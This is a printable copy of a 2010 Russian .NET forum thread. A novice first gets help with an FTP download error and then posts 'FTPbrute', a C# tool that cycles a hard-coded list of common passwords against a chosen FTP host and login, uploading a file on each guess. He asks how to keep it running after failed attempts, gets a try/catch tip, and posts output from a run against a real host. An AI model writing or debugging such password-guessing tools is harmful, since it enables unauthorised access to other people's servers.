| Версия для печати темы
Нажмите сюда для просмотра этой темы в оригинальном формате |
| Форум программистов > Общие вопросы по .NET и C# > не могу подключиться к фтп |
| Автор: dj100500 9.10.2010, 12:37 |
| using System; using System.IO; using System.Text; using System.Security.Permissions; using System.Net; class FTP { public static void Main() { FtpWebRequest request = (FtpWebRequest)WebRequest.Create("ftp://ip"); request.Method = WebRequestMethods.Ftp.DownloadFile; request.Credentials = new NetworkCredential("pass", "dj100500"); FtpWebResponse response = (FtpWebResponse)request.GetResponse(); Stream responseStream = response.GetResponseStream(); StreamReader reader = new StreamReader(responseStream); Console.WriteLine(reader.ReadToEnd()); Console.WriteLine("Download Complete, status {0}", response.StatusDescription); reader.Close(); response.Close(); Console.ReadKey(); } } на это пишет Запрашиваемый URI-адрес недопустим для этой команды FTP какашками не кидайтесь я новичок |
| Автор: azesmcar 9.10.2010, 12:43 |
что? прямо так и написано? |
| Автор: dj100500 9.10.2010, 12:44 |
| ды нет мой сайт там вписан |
| Автор: azesmcar 9.10.2010, 14:16 |
можно посмотреть реальный код? также желательно сказать тип исключение и в какой строке оно происходит. |
| Автор: dj100500 9.10.2010, 14:29 |
| вот код ток пароль логин заменил using System; using System.IO; using System.Text; using System.Security.Permissions; using System.Net; using Microsoft.Win32; class FTP { public static void Main() { FtpWebRequest request = (FtpWebRequest)WebRequest.Create("ftp://www.vk0ntkte.h1.ru"); request.Method = WebRequestMethods.Ftp.DownloadFile; request.Credentials = new NetworkCredential("логин", "пароль"); FtpWebResponse response = (FtpWebResponse)request.GetResponse();/*указывает на эту строку пишет что "webexception не обработано" и "Запрашиваемый URI-адрес недопустим для этой команды FTP".*/ Stream responseStream = response.GetResponseStream(); StreamReader reader = new StreamReader(responseStream); Console.WriteLine(reader.ReadToEnd()); Console.WriteLine("Download Complete, status {0}", response.StatusDescription); reader.Close(); response.Close(); Console.ReadKey(); } } скрин http://img580.imageshack.us/i/112kp.jpg/ Uploaded with http://imageshack.us |
| Автор: dj100500 9.10.2010, 16:32 |
| ну тык как |
| Автор: azesmcar 9.10.2010, 18:08 | ||
| dj100500 здесь надо задавать имя файла. например
|
| Автор: dj100500 9.10.2010, 18:24 |
| ура а куда сэйвит чот не понял я Добавлено через 6 минут и 2 секунды а и как аплоадить файл в мсдн чот без примера |
| Автор: azesmcar 9.10.2010, 18:42 |
а разве он должен сохранять? .NET не читает твоих мыслей |
| Автор: dj100500 9.10.2010, 18:47 |
| ну кишет что download comlete ,status 226 transfer complete скажи те как а то в мсдн скудно |
| Автор: azesmcar 9.10.2010, 18:53 | ||
так ты же его содержание на экран выводишь.
|
| Автор: dj100500 9.10.2010, 19:01 |
| чот не выводит хотя когда первый раз запускал то чот вывел а и файл очищает ЗЫ и на счот аплоада чо |
| Автор: azesmcar 9.10.2010, 19:03 |
| http://msdn.microsoft.com/en-us/library/ms229715.aspx http://msdn.microsoft.com/en-us/library/ms229711.aspx |
| Автор: dj100500 9.10.2010, 19:07 |
| на инглише не удобно ну ды лан попробую разобраться |
| Автор: dj100500 9.10.2010, 19:37 |
| /// |
| Автор: dj100500 10.10.2010, 13:52 |
| исчо вопросик как сделать чтобы при первом неправильном пароле она не вылетала using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Net; using System.Security.Permissions; using System.IO; namespace ConsoleApplication8 { class Program { static void Main(string[] args) { string v = "0.0.1.0"; string port; string host; string login; string[] pass = {"bla" , "100500" , "123456" , "pass" , "100500" , "passwd" , "qwerty"}; Console.WriteLine("FTPbrute"+ " v"+ v); Console.WriteLine("code by dj100500"); Console.Write("(bla.ru) host:"); host = Console.ReadLine(); if (host == "") { Console.Write("enter host:"); host = Console.ReadLine(); } Console.Write("port:"); port = Console.ReadLine(); if (port == "") { port = "21"; } Console.Write("login"); login = Console.ReadLine(); if (login == "") { login = "admin"; } Console.WriteLine("host:" + host + "port:" + "login:" + login); for (var i = 0; i < pass.Length; i++) { FtpWebRequest request = (FtpWebRequest)WebRequest.Create("ftp://" + host + "/test.txt"); request.Method = WebRequestMethods.Ftp.UploadFile; request.Credentials = new NetworkCredential(login, pass[i]); StreamReader sourceStream = new StreamReader(@"D:\test.txt"); byte[] fileContents = Encoding.UTF8.GetBytes(sourceStream.ReadToEnd()); sourceStream.Close(); request.ContentLength = fileContents.Length; Stream requestStream = request.GetRequestStream(); requestStream.Write(fileContents, 0, fileContents.Length); requestStream.Close(); FtpWebResponse response = (FtpWebResponse)request.GetResponse(); Console.WriteLine(response.StatusDescription); Console.WriteLine("Upload File Complete, status {0}", response.StatusDescription); response.Close(); } Console.ReadKey(); } } } |
| Автор: dj100500 10.10.2010, 20:09 |
| эй помогите плиз |
| Автор: azesmcar 10.10.2010, 20:27 | ||
поймать через try { } catch(Exception e) {} так воскресенье же |
| Автор: dj100500 10.10.2010, 21:35 |
| всё уж разобрался прост не доперало какие параметры юзать ща без параметров фурычит |
| Автор: dj100500 12.10.2010, 18:12 | ||
отказывается писать статус Console.WriteLine("Upload File Complete, status {0}", response.StatusDescription); и не обрабатывает гуд почему не понимаю
Добавлено @ 18:14 сори код кривой немног но эт пока |
| Автор: dj100500 13.10.2010, 16:27 |
| ау |
| Автор: wester 13.10.2010, 18:59 |
| dj100500, а еще люди юзают тэг [code /] ..... код небольшой, выполни пошагово, посмотри что происходит . и что понимать под "отказывается писать" ? крашится ? |
| Автор: dj100500 13.10.2010, 19:43 |
| нет просто не пишет ничо про тэг учту |
| Автор: dj100500 17.10.2010, 12:03 | ||
вывод при правильном пассе FTPbrute v0.0.1.0 code by dj100500 (bla.ru) host:ftp.narod.ru port:21 login:**** host:ftp.narod.ruport:login:*** 1:02:03:04:05:06:07:08:09:010:0Upload File Complete, status 226 FILE: test1.txt transferred 11:01:1pass:1234 invalid. 1:2pass:123456 invalid. 1:3pass:pass invalid. 1:4pass:dj100500hackyou invalid.//пасс верный 1:5pass:passwd invalid. 1:6pass:qwerty invalid. 1:7pass:dsdsadadaw invalid. при первом неправильном FTPbrute v0.0.1.0 code by dj100500 (bla.ru) host:ftp.narod.ru port:21 login:***** host:ftp.narod.ruport:login:**** 1:02:03:04:05:06:0pass:dj100500hackyo invalid. 1:1pass:1234 invalid. 1:2pass:123456 invalid. 1:3pass:pass invalid. 1:4pass:dj100500hackyou invalid.//правильный пасс 1:5pass:passwd invalid. 1:6pass:qwerty invalid. 1:7pass:dsdsadadaw invalid. помогите плиз сам не могу разобраться |